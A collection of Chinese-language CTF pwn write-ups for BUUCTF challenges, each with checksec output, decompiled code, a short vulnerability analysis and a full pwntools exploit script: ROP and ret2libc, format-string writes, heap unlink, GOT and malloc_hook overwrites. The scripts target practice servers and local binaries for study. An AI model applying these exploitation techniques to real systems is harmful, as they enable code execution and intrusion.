buu部分刷题记录
[HarekazeCTF2019]baby_rop
1.checksec()
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
2.IDA
main
int __cdecl main (int argc, const char **argv, const char **envp) { char v4; system("echo -n \"What's your name? \"" ); __isoc99_scanf("%s" , &v4); printf ("Welcome to the Pwn World, %s!\n" , &v4); return 0 ; }
scanf的溢出,注意,要溢出的栈+8
3.EXP
from pwn import *p = remote("node3.buuoj.cn" ,29829 ) binsh_addr = 0x0601048 sys_addr = 0x00400490 pop_rdi = 0x0400683 payload = 'a' *24 + p64(pop_rdi) + p64(binsh_addr) + p64(sys_addr) + p64(0 ) p.sendlineafter("?" ,payload) p.interactive()
flag在home文件夹下的文件夹中
[HarekazeCTF2019]baby_rop2
环境:?
1.checksec
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
2.IDA
main
int __cdecl main (int argc, const char **argv, const char **envp) { int v3; char buf[28 ]; int v6; setvbuf(stdout , 0LL , 2 , 0LL ); setvbuf(stdin , 0LL , 2 , 0LL ); printf ("What's your name? " , 0LL ); v3 = read(0 , buf, 0x100 uLL); v6 = v3; buf[v3 - 1 ] = 0 ; printf ("Welcome to the Pwn World again, %s!\n" , buf); return 0 ; }
printf输出read的真实地址,再ROP
3.EXP
from pwn import *context.log_level = "debug" elf=ELF('./babyrop2' ) libc = ELF("./libc.so.6" ) p=remote('node3.buuoj.cn' ,28113 ) pop_rdi_ret=0x0000000000400733 pop_rsi_r15_ret=0x0000000000400731 format_addr=0x0000000000400790 printf_plt=elf.plt['printf' ] read_got=elf.got['read' ] main_plt=elf.sym['main' ] payload = "a" *0x28 payload += p64(pop_rdi_ret) + p64(format_addr) payload += p64(pop_rsi_r15_ret) + p64(read_got) + p64(0 ) payload += p64(printf_plt) + p64(main_plt) p.recvuntil("name? " ) p.sendline(payload) p.recvuntil("!\n" ) read_real = u64(p.recv(6 ).ljust(8 ,"\x00" )) libc_base = read_real - libc.sym['read' ] sys_addr = libc.sym["system" ] + libc_base binsh = libc.search("/bin/sh" ).next () + libc_base payload = 'a' *0x28 payload += p64(pop_rdi_ret) + p64(binsh) payload += p64(sys_addr) p.recvuntil("name? " ) p.sendline(payload) p.interactive()
flag 位置在 /home/babyrop2/
[OGeek2019]babyrop
1.checksec()
Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
2.IDA
main
int __cdecl main () { int buf; char v2; int fd; sub_80486BB(); fd = open("/dev/urandom" , 0 ); if ( fd > 0 ) read(fd, &buf, 4u ); v2 = sub_804871F(buf); sub_80487D0(v2); return 0 ; }
sub_804871F
int __cdecl sub_804871F (int a1) { size_t v1; char s; char buf[7 ]; unsigned __int8 v5; ssize_t v6; memset (&s, 0 , 0x20 u); memset (buf, 0 , 0x20 u); sprintf (&s, "%ld" , a1); v6 = read(0 , buf, 0x20 u); buf[v6 - 1 ] = 0 ; v1 = strlen (buf); if ( strncmp (buf, &s, v1) ) exit (0 ); write(1 , "Correct\n" , 8u ); return v5; }
sub_80487D0
ssize_t __cdecl sub_80487D0 (char a1) { ssize_t result; char buf; if ( a1 == 127 ) result = read(0 , &buf, 0xC8 u); else result = read(0 , &buf, a1); return result; }
sprintf:sprintf 返回以format为格式argument为内容组成的结果被写入string的字节数,结束字符‘\0’不计入内。即,如果“Hello”被写入空间足够大的string后,函数sprintf 返回5
也就是说第一个是’\0’可以绕过检测
string
LOAD:0804840B 00000006 C write LOAD:08048411 0000000F C __gmon_start__ LOAD:08048420 0000000A C GLIBC_2.0 .rodata:08048920 0000000A C Time's up .rodata:0804892E 00000009 C Correct\n .rodata:08048937 0000000D C /dev/urandom .eh_frame:080489C7 00000005 C ;*2$\"
没有/bin/sh,没有system函数,有libc,考虑write泄露libc
3.EXP
from pwn import *p = remote("node3.buuoj.cn" ,28118 ) elf = ELF("./pwn" ) libc = ELF("./libc-2.23.so" ) write_plt = elf.plt["write" ] write_got = elf.got["write" ] main_addr = 0x08048825 libc_write = libc.sym["write" ] libc_system = libc.sym["system" ] binsh = 0x15902b payload_1 = '\x00' + '\xff' *7 paylaod_2 = 'a' *(0xe7 +4 ) + p32(write_plt) + p32(main_addr) paylaod_2 += p32(1 ) + p32(write_got) + p32(4 ) p.sendline(payload_1) p.recvuntil("Correct\n" ) p.sendline(paylaod_2) real_write = u32(p.recv(4 )) libc_base = real_write - libc_write real_system = libc_base + libc_system binsh = binsh + libc_base payload_1 = '\x00' + '\xff' *7 payload_3 = 'a' *(0xe7 +4 ) + p32(real_system) + p32(0 ) payload_3 += p32(binsh) p.sendline(payload_1) p.recvuntil("Correct\n" ) p.sendline(payload_3) p.interactive()
接受的4字节不需要在ljust对齐了
[ZJCTF 2019]EasyHeap
和hitocn trainning magic heap 一样
1.checksec
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
2.IDA
def add(sz,text): p.sendlineafter(":","1") p.sendlineafter(":",str(sz)) p.sendlineafter(":",text) def edit(idx,text): p.sendlineafter(":","2") p.sendlineafter(":",str(idx)) p.sendlineafter(":",str(len(text))) p.sendlineafter(":",str(text)) def free(idx): p.sendlineafter(":","3") p.sendlineafter(":",str(idx))
back_door
int l33t() { return system("/bin/sh"); }
edit_heap
printf("Size of Heap : ", (char *)&v1 + 4, v1); read(0, (char *)&v1 + 4, 8uLL); v2 = atoi((const char *)&v1 + 4); printf("Content of heap : ", (char *)&v1 + 4, v1); read_input(heaparray[(signed int)v1], v2); return puts("Done !");
未控制边界,堆溢出
3.EXP
from pwn import *context.log_level = "debug" elf = ELF("./magicheap" ) libc = ELF("/home/joe1sn/libc/64/libc-2.23.so" ) p = process("./magicheap" ) def add (sz,text ): p.sendlineafter(":" ,"1" ) p.sendlineafter(":" ,str (sz)) p.sendlineafter(":" ,text) def edit (idx,text ): p.sendlineafter(":" ,"2" ) p.sendlineafter(":" ,str (idx)) p.sendlineafter(":" ,str (len (text))) p.sendlineafter(":" ,str (text)) def free (idx ): p.sendlineafter(":" ,"3" ) p.sendlineafter(":" ,str (idx)) l33t = 0x6020A0 if __name__ == '__main__' : add(0x60 ,'aaaa' ) add(0x60 ,'aaaa' ) add(0x60 ,'aaaa' ) free(2 ) edit(1 ,'a' *0x60 +p64(0 )+p64(0x71 )+p64(l33t-0x13 )) add(0x60 ,'aaaa' ) add(0x60 ,'aaaa' ) edit(3 ,'a' *8 ) p.sendlineafter(":" ,str (0x1305 )) p.interactive()
为什么是p64(l33t-0x13)?
经过动态调试得知,该处是unsorted bin链表
为什么edit(3,’a’*8)?
覆写magic的值为‘0x6161616161616161’,从而进入后门
[ZJCTF 2019]Login
1.checksec
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
2.IDA
main
printf ("Please enter username: " , "admin" ); User::read_name((User *)&login); printf ("Please enter password: " ); v3 = (void (*)(void ))main::{lambda(void )#1 }::operator void (*)(void ) const (); v7 = password_checker(v3); User::read_password((User *)&login); v4 = User::get_password((User *)&v8); v5 = User::get_password((User *)&login); password_checker(void (*)(void ))::{lambda(char const *,char const *)#1 }::operator() const ( (void (__fastcall ***)(char *))&v7, (const char *)v5, (const char *)v4); return 0 ;
password_checker
unsigned __int64 __fastcall password_checker (void (*)(void )) ::{lambda(char const *,char const *)#1 }::operator() const (void (__fastcall ***a1)(char *), const char *a2, const char *a3){ char s; unsigned __int64 v5; v5 = __readfsqword(0x28 u); if ( !strcmp (a2, a3) ) { snprintf (&s, 0x50 uLL, "Password accepted: %s\n" , &s); puts (&s); (**a1)(&s); } else { puts ("Nope!" ); } return __readfsqword(0x28 u) ^ v5; }
strcmp遇见\x00截断,不会判断之后的字符串,所以这里栈溢出
3.EXP
from pwn import *context.log_level = "debug" p = remote("node3.buuoj.cn" ,25930 ) back_door = 0x400E88 payload = '2jctf_pa5sw0rd' +"\x00" +'a' *20 +"\x00" +'a' *36 +p64(back_door) p.sendlineafter("username: " ,"admin" ) p.sendlineafter("password: " ,payload) p.interactive()
[第五空间2019 决赛]PWN5
环境:ubuntu16
1.checksec()
Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
2.IDA
main
int __cdecl main (int a1) { unsigned int v1; int fd; int result; int v4; unsigned int v5; char nptr; char buf; unsigned int v8; int *v9; v9 = &a1; v8 = __readgsdword(0x14 u); setvbuf(stdout , 0 , 2 , 0 ); v1 = time(0 ); srand(v1); fd = open("/dev/urandom" , 0 ); read(fd, &unk_804C044, 4u ); printf ("your name:" ); read(0 , &buf, 0x63 u); printf ("Hello," ); printf (&buf); printf ("your passwd:" ); read(0 , &nptr, 0xF u); if ( atoi(&nptr) == unk_804C044 ) { puts ("ok!!" ); system("/bin/sh" ); } else { puts ("fail" ); } result = 0 ; v5 = __readgsdword(0x14 u); v4 = v5 ^ v8; if ( v5 != v8 ) sub_80493D0(v4); return result; }
unk_804C044
bss:0804C040 byte_804C040 db ? ; DATA XREF: sub_8049140↑o .bss:0804C040 ; sub_8049140+5↑o ... .bss:0804C041 align 4 .bss:0804C044 randmon_num db ? ; ; DATA XREF: main+77↑o .bss:0804C044 ; main+108↑o .bss:0804C045 db ? ; .bss:0804C046 db ? ; .bss:0804C047 db ? ; .bss:0804C047 _bss ends .bss:0804C047
bss段的unk_804C044,是随机生成的,而我们猜对了这个参数,就可以执行system(“/bin/sh”),刚好字符串格式化漏洞可以实现改写内存地址的值
还有就是不要被开启的canary保护迷惑
3.计算偏移
root@joe1sn:~/download/BUUCTF/PWN5# ./pwn your name:aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p Hello,aaaa-0xffb44588-0x63-(nil)-(nil)-0x3-0xf7f8c950-0xc2-(nil)-0xc30000-0x61616161-0x2d70252d-0x252d7025-0x70252d70
第一个参数偏移量为10,通过%n修改
%x是吧数据以16进制输出
%n是把已经输出的字符数目输入传来参数的地址中,这就可以使我们修改数据
https://www.cnblogs.com/0xJDchen/p/5904816.html
4.EXP
from pwn import *p = remote("node3.buuoj.cn" ,26486 ) unk_804C044 = 0x0804C044 payload=fmtstr_payload(10 ,{unk_804C044:0x11111111 }) p.sendlineafter("your name:" ,payload) p.sendlineafter("your passwd" ,str (0x11111111 )) p.interactive()
0ctf_2016_warmup
1.checksec
Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
2.IDA
从汇编看有四个函数
Alarm 、Read 、Write 、sys_exit
关于 Alarm 有个特性:
如果有以前为进程登记的尚未超时的闹钟时钟,而且本次调用的seconds值是0,则取消以前的闹钟时钟,其余留值仍作为alarm函数的返回值
那么当 alarm 剩余 5 秒时,更具汇编fastcall,会将return值返回 eax 寄存器中,那么再次使用 sys_call 的时候就会 系统调用 open函数 ,从而读取到falg的值
3.EXP
from pwn import *name = "warmup" elf = ELF(name) libc = ELF("/lib/i386-linux-gnu/libc.so.6" ) sh = 0 def main (ip,port,debug,mode ): global sh if debug==0 : context.log_level = "debug" else : pass if mode==0 : sh = process(name) else : sh = remote(ip,port) main_addr = 0x804815A write_addr = 0x8048135 read_addr = 0x804811D alarm_addr = 0x804810D data_seg = 0x80491BC sys_call = 0x804813A payload = 'a' *0x20 payload += p32(read_addr)+p32(main_addr) payload += p32(0 )+p32(data_seg)+p32(0x10 ) sh.sendafter("Welcome to 0CTF 2016!\n" ,payload) payload = 'flag\x00' sh.sendlineafter("Good Luck!\n" ,payload) sleep(5 ) payload = 'a' *0x20 payload += p32(alarm_addr)+p32(sys_call) payload += p32(main_addr)+p32(data_seg)+p32(0 ) sh.send(payload) payload = 'a' *0x20 payload += p32(read_addr)+p32(main_addr) payload += p32(3 )+p32(data_seg)+p32(0x50 ) sh.sendafter("Good Luck!\n" ,payload) payload = 'a' *0x20 payload += p32(write_addr)+p32(main_addr) payload += p32(1 )+p32(data_seg)+p32(0x50 ) sh.sendafter('Good Luck!\n' ,payload) sh.interactive() if __name__ == '__main__' : main("node3.buuoj.cn" ,"28290" ,1 ,1 )
axb_2019_fmt32
1.cheksec
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
2 .IDA
main
while ( 1 ) { alarm(3u ); memset (&s, 0 , 0x101 u); memset (&format, 0 , 0x12C u); printf ("Please tell me:" ); read(0 , &s, 0x100 u); sprintf (&format, "Repeater:%s\n" , &s); if ( strlen (&format) > 0x10E ) break ; printf (&format); }
字符串格式化漏洞,但是没有后门,可以选择libc leak+改printf为one gadget
3.EXP
from pwn import *context.log_level = 'debug' elf = ELF("./axb_2019_fmt32" ) p = remote("node3.buuoj.cn" ,25318 ) libc = ELF("libc-2.23.so" ) p.sendlineafter('me:' ,"%9$sA" + p32(elf.got["printf" ])) p.recvuntil('Repeater:' ) printf_got = u32(p.recv(4 )) base = printf_got - libc.sym["printf" ] system = base + libc.sym["system" ] log.success("printf addr: %x" , printf_got) log.success("system addr: %x" , system) log.success("libc base: %x" , base) payload ='aaaaa' payload += fmtstr_payload(9 ,{0x804A014 : (0x3a80c +base)},write_size = "byte" ,numbwritten = 0xe ) p.sendlineafter("me:" ,payload) p.interactive()
axb_2019_heap
1.checksec
Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
2.IDA
banner
__isoc99_scanf("%s" , &format); printf ("Hello, " , &format); printf (&format);
存在一个字符串格式化漏洞
main
def add (idx,sz,text ): p.sendlineafter(">>" ,"1" ) p.sendlineafter(":" ,str (idx)) p.sendlineafter(":" ,str (sz)) p.sendlineafter(":" ,text) def delete (idx ): p.sendlineafter(">>" ,"2" ) p.sendlineafter(":" ,str (idx)) def edit (idx,text ): p.sendlineafter(">>" ,"4" ) p.sendlineafter(":" ,str (idx)) p.sendlineafter(":" ,text)
edit_note
if ( v1 <= 10 && v1 >= 0 && *((_QWORD *)¬e + 2 * v1) ) { puts ("Enter the content: " ); get_input(*((_QWORD *)¬e + 2 * v1), *((_DWORD *)¬e + 4 * v1 + 2 )); puts ("Done!" ); }
没有控制范围,堆溢出,利用unlink+free_hook来getshell
3.GDB
在printf处下断点fmtarg查看偏移
stack
gdb-peda$ stack 20 0000| 0x7fffffffde10 --> 0x0 0008| 0x7fffffffde18 --> 0x61616161ffffde30 0016| 0x7fffffffde20 ('a' <repeats 15 times>) 0024| 0x7fffffffde28 --> 0x61616161616161 ('aaaaaaa') 0032| 0x7fffffffde30 --> 0x7fffffffde50 --> 0x555555555200 (<__libc_csu_init>: push r15) 0040| 0x7fffffffde38 --> 0x555555555186 (<main+28>: mov eax,0x0) 0048| 0x7fffffffde40 --> 0x7fffffffdf30 --> 0x1 0056| 0x7fffffffde48 --> 0x0 0064| 0x7fffffffde50 --> 0x555555555200 (<__libc_csu_init>: push r15) 0072| 0x7fffffffde58 --> 0x7ffff7a2d830 (<__libc_start_main+240>: mov edi,eax) 0080| 0x7fffffffde60 --> 0x1 0088| 0x7fffffffde68 --> 0x7fffffffdf38 --> 0x7fffffffe2a7 ("/home/joe1sn/Documents/question/abx_2019_heap/axb_2019_heap") 0096| 0x7fffffffde70 --> 0x1f7ffcca0 0104| 0x7fffffffde78 --> 0x55555555516a (<main>: push rbp) 0112| 0x7fffffffde80 --> 0x0 0120| 0x7fffffffde88 --> 0xa45414fa738fad69 0128| 0x7fffffffde90 --> 0x555555554980 (<_start>: xor ebp,ebp) 0136| 0x7fffffffde98 --> 0x7fffffffdf30 --> 0x1 0144| 0x7fffffffdea0 --> 0x0 0152| 0x7fffffffdea8 --> 0x0
偏移
gdb-peda$ fmtarg 0x7fffffffde50 #base offset The index of format argument : 14 ("\%13$p") gdb-peda$ fmtarg 0x7fffffffde58 #libc offset The index of format argument : 15 ("\%14$p")
vmmap
0x0000555555554000 0x0000555555556000 r-xp /home/joe1sn/Documents/question/abx_2019_heap/axb_2019_heap ........... 0x00007ffff7a0d000 0x00007ffff7bcd000 r-xp /lib/x86_64-linux-gnu/libc-2.23.so ...........
>>> hex (0x7ffff7a2d830 - 0x00007ffff7a0d000 ) '0x20830' >>> hex (0x555555555200 - 0x0000555555554000 )'0x1200'
4.EXP
from pwn import *elf = ELF("./axb_2019_heap" ) libc = ELF("/home/joe1sn/libc/64/libc-2.23.so" ) p = process("./axb_2019_heap" ) def add (idx,sz,text ): p.sendlineafter(">>" ,"1" ) p.sendlineafter(":" ,str (idx)) p.sendlineafter(":" ,str (sz)) p.sendlineafter(":" ,text) def delete (idx ): p.sendlineafter(">>" ,"2" ) p.sendlineafter(":" ,str (idx)) def edit (idx,text ): p.sendlineafter(">>" ,"4" ) p.sendlineafter(":" ,str (idx)) p.sendlineafter(":" ,text) if __name__ == '__main__' : p.sendlineafter(":" ,"%14$p-%15$p" ) p.recvuntil("Hello, " ) axb_leak = int (p.recv(14 ),16 ) p.recvuntil("-" ) libc_leak = int (p.recv(14 ),16 ) axb_base = axb_leak-0x1200 libc_base = libc_leak-0x20830 bss_addr = axb_base+0x202060 sys_addr = libc_base+libc.sym["system" ] free_addr = libc_base+libc.sym["__free_hook" ] success("axb base=>0x%x" ,axb_leak) success("libc base=>0x%x" ,libc_base) success("bss addr=>0x%x" ,bss_addr) success("system addr=>0x%x" ,sys_addr) success("free addr=>0x%x" ,free_addr) add(0 ,0x98 ,'0' *0x98 ) add(1 ,0x98 ,'1111' ) add(2 ,0x90 ,'2222' ) add(3 ,0x90 ,'/bin/sh\x00' ) payload=p64(0 )+p64(0x91 )+p64(bss_addr-0x18 )+p64(bss_addr-0x10 )+p64(0 )*14 +p64(0x90 )+'\xa0' edit(0 ,payload) delete(1 ) edit(0 ,p64(0 )*3 +p64(free_addr)+p64(0x10 )) edit(0 ,p64(sys_addr)) delete(3 ) p.interactive()
babyfengshui_33c3_2016
1.checksec
[*] '/home/joe1sn/Documents/ctf/questions/BUUCTF/pwn/babyfengshui_33c3_2016/babyfengshui' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
RELRO: Partial RELRO可以改写GOT表
2.IDA
main
void __cdecl __noreturn main () { char v0; int v1; size_t v2; unsigned int v3; v3 = __readgsdword(0x14 u); setvbuf(stdin , 0 , 2 , 0 ); setvbuf(stdout , 0 , 2 , 0 ); alarm(0x14 u); while ( 1 ) { puts ("0: Add a user" ); puts ("1: Delete a user" ); puts ("2: Display a user" ); puts ("3: Update a user description" ); puts ("4: Exit" ); printf ("Action: " ); if ( __isoc99_scanf("%d" , &v1) == -1 ) break ; if ( !v1 ) { printf ("size of description: " ); __isoc99_scanf("%u%c" , &v2, &v0); add_usr(v2); } if ( v1 == 1 ) { printf ("index: " ); __isoc99_scanf("%d" , &v2); delet_usr(v2); } if ( v1 == 2 ) { printf ("index: " ); __isoc99_scanf("%d" , &v2); display(v2); } if ( v1 == 3 ) { printf ("index: " ); __isoc99_scanf("%d" , &v2); text_rewrite(v2); } if ( v1 == 4 ) { puts ("Bye" ); exit (0 ); } if ( (unsigned __int8)byte_804B069 > 0x31 u ) { puts ("maximum capacity exceeded, bye" ); exit (0 ); } } exit (1 ); }
add_usr
_DWORD *__cdecl add_usr (size_t a1) { void *s; _DWORD *v2; s = malloc (a1); memset (s, 0 , a1); v2 = malloc (0x80 u); memset (v2, 0 , 0x80 u); *v2 = s; ptr[(unsigned __int8)byte_804B069] = v2; printf ("name: " ); sub_80486BB((char *)ptr[(unsigned __int8)byte_804B069] + 4 , 0x7C ); text_rewrite(++byte_804B069 - 1 ); return v2; }
函数首先分配一个description的最大空间,让你后再分配给user结构体的空间,并将user放入store数组中,最后调用更新decription的函数
struct user { char *desc; char name[0x7c ]; }user; struct user *store [];
store放在0x804b080,当前user个数user_num放在0x804b069(byte_804B069)
https://blog.csdn.net/qinying001/article/details/104359401
可以从这篇文章看堆的情况,这里我大致画一下
add_user(0x80 , 0x80 , 'AAAA' ) add_user(0x80 , 0x80 , 'AAAA' ) add_user(0x8 , 0x8 , '/bin/sh\x00' )
========================================= || chunk0_desc 0x80 | chunk0_node 0x80 || ========================================= || chunk1_desc 0x80 | chunk1_node 0x80 || ========================================= || chunk2_desc 0x8 | chunk2_node 0x8 || =========================================
========================================= || freed_chunk 0x100 || ========================================= || chunk1_desc 0x80 | chunk1_node 0x80 || ========================================= || chunk2_desc 0x8 | chunk2_node 0x8 || =========================================
add_user(0x100 , 0x19c , "A" *(0x100 +0x80 +0x8 +0x10 ) + p32(elf.got['free' ]))
======================= || chunk0_desc 0x100 || <--first fit规则符合 ========================================= || chunk1_desc 0x80 | chunk1_node 0x80 || ========================================= || chunk2_desc 0x8 | chunk2_node 0x8 || ========================================= || chunk0_node 0x80 || <--被重新分配 =======================
所以我们首先添加两个user,用于绕过检查。
第3个user存放"/bin/sh"。
然后删 掉第1个user,并创建一个description很长的user,其长度是第1个user的description长度加上user结构体长度。这时候检查就绕了,我们可以在添加新user的时候修改description大小,造成堆溢出,并修改第2个user的user>desc为[email protected] ,从而泄漏出libc地址。
得到system地址后,此时修 改第2个user的description,其实是修free的GOT,所以我们将其改成,[email protected] 。
最后删除第3个user,触发system(‘/bin/sh’),得到shell
------《ctf_all_in_one》
3.EXP
from pwn import *context.log_level = 'debug' io = process('./babyfengshui' ,env={'LD_PRELOAD' :'./libc-2.23.so' }) elf = ELF('babyfengshui' ) libc = ELF('libc-2.23.so' ) def add_user (size, length, text ): io.sendlineafter("Action: " , '0' ) io.sendlineafter("description: " , str (size)) io.sendlineafter("name: " , 'AAAA' ) io.sendlineafter("length: " , str (length)) io.sendlineafter("text: " , text) def delete_user (idx ): io.sendlineafter("Action: " , '1' ) io.sendlineafter("index: " , str (idx)) def display_user (idx ): io.sendlineafter("Action: " , '2' ) io.sendlineafter("index: " , str (idx)) def update_desc (idx, length, text ): io.sendlineafter("Action: " , '3' ) io.sendlineafter("index: " , str (idx)) io.sendlineafter("length: " , str (length)) io.sendlineafter("text: " , text) def GDB (): context.terminal = ['tmux' ,'splitw' ,'-h' ] gdb.attach(io) if __name__ == "__main__" : add_user(0x80 , 0x80 , 'AAAA' ) add_user(0x80 , 0x80 , 'AAAA' ) add_user(0x8 , 0x8 , '/bin/sh\x00' ) delete_user(0 ) add_user(0x100 , 0x19c , "A" *(0x100 +0x80 +0x8 +0x10 ) + p32(elf.got['free' ])) display_user(1 ) io.recvuntil("description: " ) free_addr = u32(io.recvn(4 )) system_addr = free_addr - (libc.symbols['free' ] - libc.symbols['system' ]) log.info("system address: 0x%x" % system_addr) update_desc(1 , 0x4 , p32(system_addr)) delete_user(2 ) io.interactive()
babyheap_0ctf_2017
1.checksec
[*] '/home/joe1sn/Documents/ctf/questions/BUUCTF/pwn/babyheap_0ctf_2017/babyheap_0ctf_2017' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
2.IDA
main
__int64 __fastcall main (__int64 a1, char **a2, char **a3) { __int64 v4; v4 = sub_B70(a1, a2, a3); while ( 1 ) { menu(); input(); switch ( (unsigned __int64)off_14F4 ) { case 1uLL : Allocate(v4); break ; case 2uLL : Fill(v4); break ; case 3uLL : Free(v4); break ; case 4uLL : Dump(v4); break ; case 5uLL : return 0LL ; default : continue ; } } }
Fill
__int64 __fastcall Fill (__int64 a1) { __int64 result; int v2; int v3; printf ("Index: " ); result = input(); v2 = result; if ( (signed int )result >= 0 && (signed int )result <= 15 ) { result = *(unsigned int *)(24LL * (signed int )result + a1); if ( (_DWORD)result == 1 ) { printf ("Size: " ); result = input(); v3 = result; if ( (signed int )result > 0 ) { printf ("Content: " ); result = sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16 ), v3); } } } return result; }
没有检查堆是否溢出
Free
__int64 __fastcall Free (__int64 a1) { __int64 result; int v2; printf ("Index: " ); result = input(); v2 = result; if ( (signed int )result >= 0 && (signed int )result <= 15 ) { result = *(unsigned int *)(24LL * (signed int )result + a1); if ( (_DWORD)result == 1 ) { *(_DWORD *)(24LL * v2 + a1) = 0 ; *(_QWORD *)(24LL * v2 + a1 + 8 ) = 0LL ; free (*(void **)(24LL * v2 + a1 + 16 )); result = 24LL * v2 + a1; *(_QWORD *)(result + 16 ) = 0LL ; } } return result; }
没有system,leak libc + malloc_hook(无法修改GOT表)
one_gadget
0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
main_arena_offset
[+]libc version : glibc 2.23 [+]build ID : BuildID[sha1]=1ca54a6e0d76188105b12e49fe6b8019bf08803a [+]main_arena_offset : 0x3c4b20
3.GDB
3.1 libc leak
一般采取堆块重叠后,free()加入unsorted bin最后dump出unsorted bin的地址,根据libc中与main_arena的偏移得到libc_base
Allocate(0x60 ) Allocate(0x30 ) Fill(0 ,"a" *0x60 +p64(0 )+p64(0x71 )) <--修改idx=1 的chunks size Allocate(0x100 ) Fill(2 ,"a" *0x20 +p64(0 )+p64(0x71 )) <--idx=2 的BK_nextsize位修改 Free(1 ) <--加入fastbin链表(free()的还是0x30 大小) Allocate(0x60 ) Fill(1 ,"a" *0x30 +p64(0 )+p64(0x111 ))<--堆修复 Allocate(0x60 ) Free(2 ) GDB() leak = u64(Dump(1 )[-25 :-17 ]) print "leak:" +hex (leak)base=leak-0x3c4b78 malloc_hook=base+libc.sym['__malloc_hook' ] print hex (malloc_hook)
gef➤ heap chunks Chunk(addr=0x55754fefb010, size=0x70, flags=PREV_INUSE) [0x000055754fefb010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa] Chunk(addr=0x55754fefb080, size=0x70, flags=PREV_INUSE) [0x000055754fefb080 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa] Chunk(addr=0x55754fefb0f0, size=0x70, flags=PREV_INUSE) [0x000055754fefb0f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
───────────── Unsorted Bin for arena 'main_arena' ───────────── [+] unsorted_bins[0]: fw=0x55754fefb0b0, bk=0x55754fefb0b0 → Chunk(addr=0x55754fefb0c0, size=0x110, flags=PREV_INUSE) [+] Found 1 chunks in unsorted bin.
gef➤ x/45gx 0x55de8a864000 0x55de8a864000: 0x0000000000000000 0x0000000000000071 0x55de8a864010: 0x6161616161616161 0x6161616161616161 0x55de8a864020: 0x6161616161616161 0x6161616161616161 0x55de8a864030: 0x6161616161616161 0x6161616161616161 0x55de8a864040: 0x6161616161616161 0x6161616161616161 0x55de8a864050: 0x6161616161616161 0x6161616161616161 0x55de8a864060: 0x6161616161616161 0x6161616161616161 0x55de8a864070: 0x0000000000000000 0x0000000000000071 0x55de8a864080: 0x6161616161616161 0x6161616161616161 0x55de8a864090: 0x6161616161616161 0x6161616161616161 0x55de8a8640a0: 0x6161616161616161 0x6161616161616161 0x55de8a8640b0: 0x0000000000000000 0x0000000000000111 0x55de8a8640c0: 0x00007fa305c4ab78 0x00007fa305c4ab78 <---unsorted bin 0x55de8a8640d0: 0x0000000000000000 0x0000000000000000 0x55de8a8640e0: 0x0000000000000000 0x0000000000000071 0x55de8a8640f0: 0x0000000000000000 0x0000000000000000 0x55de8a864100: 0x0000000000000000 0x0000000000000000 0x55de8a864110: 0x0000000000000000 0x0000000000000000 0x55de8a864120: 0x0000000000000000 0x0000000000000000 0x55de8a864130: 0x0000000000000000 0x0000000000000000 0x55de8a864140: 0x0000000000000000 0x0000000000000000 0x55de8a864150: 0x0000000000000000 0x0000000000000000
3.2 fastbin attack
最后再修改malloc_hook-35的地址(mallco_hook的参数要偏移,且偏移后的地址不能为0)为exec_binsh(one_gadget)
简言之就是hook->onegadget
Free(1 ) Fill(0 ,"a" *0x60 +p64(0 )+p64(0x71 )+p64(malloc_hook-35 )+p64(0 )) GDB() Allocate(0x60 ) GDB()
3.4 覆盖chunk1的fd
heap
0x55a4b068b000 FASTBIN { <---chunk 0 prev_size = 0, size = 113, fd = 0x6161616161616161, bk = 0x6161616161616161, fd_nextsize = 0x6161616161616161, bk_nextsize = 0x6161616161616161 } 0x55a4b068b070 FASTBIN { <---chunk1 prev_size = 0, size = 113, fd = 0x7f038a23caed <_IO_wide_data_0+301>, malloc_hook-35 bk = 0x0, fd_nextsize = 0x6161616161616161, bk_nextsize = 0x6161616161616161 } 0x55a4b068b0e0 FASTBIN { prev_size = 0, size = 113, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x55a4b068b150 { prev_size = 0, size = 0, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 }
bins
fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x7ff5da1deaed (_IO_wide_data_0+301) ◂— 0xf5d9e9fe20000000 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins empty
stack
pwndbg> x/gx 0x7ff5da1deb10-35 0x7ff5da1deaed <_IO_wide_data_0+301>: 0xf5da1dd260000000 0x7ff5da1deaf5 <_IO_wide_data_0+309>: 0x000000000000007f 0x7ff5da1deafd: 0xf5d9e9fe20000000 0x7ff5da1deb05 <__memalign_hook+5>: 0xf5d9e9fa0000007f 0x7ff5da1deb0d <__realloc_hook+5>: 0x000000000000007f 0x7ff5da1deb15 <__malloc_hook+5>: 0x0000000000000000 0x7ff5da1deb1d: 0x0000000000000000 0x7ff5da1deb25 <main_arena+5>: 0x0000000000000000
